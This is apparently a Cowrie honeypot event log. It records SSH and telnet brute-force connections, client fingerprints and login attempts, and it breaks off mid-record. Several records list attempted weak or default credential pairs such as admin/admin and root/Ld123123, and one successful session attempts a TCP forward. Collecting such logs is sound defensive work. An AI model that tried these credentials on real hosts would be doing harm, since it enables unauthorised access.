{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:57:22.681401Z","src_ip":"181.123.136.11","session":"c5911cbe7b5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ld123123","message":"login attempt [root/Ld123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:57:23.590324Z","src_ip":"181.123.136.11","session":"c5911cbe7b5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:57:24.774077Z","src_ip":"181.123.136.11","session":"c5911cbe7b5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":54164,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ffa2f6eea92","protocol":"ssh","message":"New connection: 193.32.162.145:54164 (10.17.0.5:22) [session: 1ffa2f6eea92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:58:20.950762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:58:20.955227Z","src_ip":"193.32.162.145","session":"1ffa2f6eea92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:58:21.056919Z","src_ip":"193.32.162.145","session":"1ffa2f6eea92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:58:21.360020Z","src_ip":"193.32.162.145","session":"1ffa2f6eea92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:58:22.463706Z","src_ip":"193.32.162.145","session":"1ffa2f6eea92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.123.136.11","src_port":45004,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f8695254dbf","protocol":"ssh","message":"New connection: 181.123.136.11:45004 (10.17.0.5:22) [session: 4f8695254dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:58:29.716139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:58:29.720487Z","src_ip":"181.123.136.11","session":"4f8695254dbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:58:29.907763Z","src_ip":"181.123.136.11","session":"4f8695254dbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"987654abc","message":"login attempt [root/987654abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:58:30.667766Z","src_ip":"181.123.136.11","session":"4f8695254dbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:58:31.852521Z","src_ip":"181.123.136.11","session":"4f8695254dbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":29656,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cc492a2db9e","protocol":"ssh","message":"New connection: 87.251.64.176:29656 (10.17.0.5:22) [session: 5cc492a2db9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:58:58.284005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:58:58.288798Z","src_ip":"87.251.64.176","session":"5cc492a2db9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:58:58.384768Z","src_ip":"87.251.64.176","session":"5cc492a2db9e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:58:58.673444Z","src_ip":"87.251.64.176","session":"5cc492a2db9e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:58:58.773446Z","session":"5cc492a2db9e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:58:58.871552Z","src_ip":"87.251.64.176","session":"5cc492a2db9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:58:58.970278Z","src_ip":"87.251.64.176","session":"5cc492a2db9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":56178,"dst_ip":"159.203.135.109","dst_port":22,"session":"527dbb93e2b3","protocol":"ssh","message":"New connection: 200.118.150.20:56178 (159.203.135.109:22) [session: 527dbb93e2b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:59:08.191509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:59:08.196841Z","src_ip":"200.118.150.20","session":"527dbb93e2b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:59:08.286992Z","src_ip":"200.118.150.20","session":"527dbb93e2b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"ssssssssss","message":"login attempt [mysql/ssssssssss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:59:08.678781Z","src_ip":"200.118.150.20","session":"527dbb93e2b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:59:09.772884Z","src_ip":"200.118.150.20","session":"527dbb93e2b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.69.74.187","src_port":60356,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6100863edf9","protocol":"telnet","message":"New connection: 105.69.74.187:60356 (159.203.135.109:23) [session: f6100863edf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:59:16.644484Z"}
{"eventid":"cowrie.session.closed","duration":13.260762453079224,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:59:29.905143Z","src_ip":"105.69.74.187","session":"f6100863edf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.217.12.57","src_port":52728,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9707a741967","protocol":"ssh","message":"New connection: 201.217.12.57:52728 (10.17.0.5:22) [session: e9707a741967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:59:37.750067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:59:37.753865Z","src_ip":"201.217.12.57","session":"e9707a741967","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:59:37.946422Z","src_ip":"201.217.12.57","session":"e9707a741967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@222","message":"login attempt [root/root@222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:59:38.738343Z","src_ip":"201.217.12.57","session":"e9707a741967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:59:39.932794Z","src_ip":"201.217.12.57","session":"e9707a741967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49744,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf257095569a","protocol":"telnet","message":"New connection: 174.138.46.234:49744 (159.203.135.109:23) [session: bf257095569a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:59:53.663139Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49822,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca0df8ec0b76","protocol":"telnet","message":"New connection: 174.138.46.234:49822 (159.203.135.109:23) [session: ca0df8ec0b76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:59:53.893660Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49940,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f3e969447f7","protocol":"telnet","message":"New connection: 174.138.46.234:49940 (159.203.135.109:23) [session: 1f3e969447f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:59:54.389326Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49800,"dst_ip":"159.203.135.109","dst_port":23,"session":"41c672eece7a","protocol":"telnet","message":"New connection: 174.138.46.234:49800 (159.203.135.109:23) [session: 41c672eece7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:59:54.814025Z"}
{"eventid":"cowrie.session.closed","duration":4.083251237869263,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:59:58.472475Z","src_ip":"174.138.46.234","session":"1f3e969447f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50220,"dst_ip":"159.203.135.109","dst_port":23,"session":"b21ce81b1a82","protocol":"telnet","message":"New connection: 174.138.46.234:50220 (159.203.135.109:23) [session: b21ce81b1a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:59:58.559149Z"}
{"eventid":"cowrie.session.closed","duration":2.9225289821624756,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:00:01.481580Z","src_ip":"174.138.46.234","session":"b21ce81b1a82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.89.93.55","src_port":30295,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c79117515ba","protocol":"telnet","message":"New connection: 189.89.93.55:30295 (10.17.0.5:23) [session: 9c79117515ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:00:15.645702Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.226.19","src_port":56894,"dst_ip":"10.17.0.5","dst_port":23,"session":"9be57a2ed41f","protocol":"telnet","message":"New connection: 185.242.226.19:56894 (10.17.0.5:23) [session: 9be57a2ed41f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:00:26.066192Z"}
{"eventid":"cowrie.session.closed","duration":12.910093784332275,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:00:28.555677Z","src_ip":"189.89.93.55","session":"9c79117515ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.804837226867676,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:00:35.698364Z","src_ip":"174.138.46.234","session":"ca0df8ec0b76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.918262004852295,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:00:35.984325Z","src_ip":"185.242.226.19","session":"9be57a2ed41f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":44670,"dst_ip":"10.17.0.5","dst_port":22,"session":"40232586a1ab","protocol":"ssh","message":"New connection: 193.32.162.145:44670 (10.17.0.5:22) [session: 40232586a1ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:00:36.821527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:00:36.826494Z","src_ip":"193.32.162.145","session":"40232586a1ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 